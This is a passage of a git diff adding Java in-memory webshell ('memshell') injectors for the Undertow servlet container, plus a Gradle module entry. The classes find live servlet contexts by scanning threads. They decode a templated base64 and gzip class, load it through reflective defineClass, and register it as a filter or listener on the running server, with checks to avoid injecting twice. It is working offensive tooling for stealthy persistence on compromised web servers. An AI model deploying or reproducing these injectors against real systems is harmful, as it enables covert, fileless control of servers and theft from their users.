null); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null); + if (servletContext != null) { + contexts.add(servletContext); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + public void inject(Object context, Object filter) throws Exception { + String filterClassName = getClassName(); + if (isInjected(context)) { + return; + } + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Object deploymentInfo = getFieldValue(context, "deploymentInfo"); + Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass()); + invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + Object deploymentImpl = getFieldValue(context, "deployment"); + Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); + invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST}); + } + + @SuppressWarnings("unchecked") + public boolean isInjected(Object context) throws Exception { + Map filters = (HashMap) getFieldValue(getFieldValue(context, "deploymentInfo"), "filters"); + if (filters != null) { + for (Map.Entry filter : filters.entrySet()) { + Class filterClass = (Class) getFieldValue(filter.getValue(), "filterClass"); + if (filterClass != null) { + if (filterClass.getName().equals(getClassName())) { + return true; + } + } + } + } + return false; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowListenerInjector.java new file mode 100644 index 00000000..9483d443 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowListenerInjector.java @@ -0,0 +1,188 @@ +package com.reajason.javaweb.memshell.undertow.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class UndertowListenerInjector { + static { + new UndertowListenerInjector(); + } + + public UndertowListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + try { + Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null); + if (servletContext != null) { + contexts.add(servletContext); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getShell(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable ee) { + ee.printStackTrace(); + } + } + return listener; + } + + public void inject(Object context, Object listener) throws Exception { + if (isInjected(context)) { + return; + } + Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); + Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); + Object deploymentImpl = getFieldValue(context, "deployment"); + Object applicationListeners = getFieldValue(deploymentImpl, "applicationListeners"); + Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); + Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); + invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); + } + + public boolean isInjected(Object context) throws Exception { + List allListeners = (List) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners"); + if (allListeners != null) { + for (Object allListener : allListeners) { + Class listener = (Class) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass"); + if (listener != null) { + if (listener.getName().contains(getClassName())) { + return true; + } + } + } + } + return false; + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/settings.gradle b/settings.gradle index c84cea84..f6d5f9c1 100644 --- a/settings.gradle +++ b/settings.gradle @@ -7,4 +7,5 @@ include 'integration-test' include 'boot' include 'deserialize' include 'vul-webapp-expression' +include 'memshell'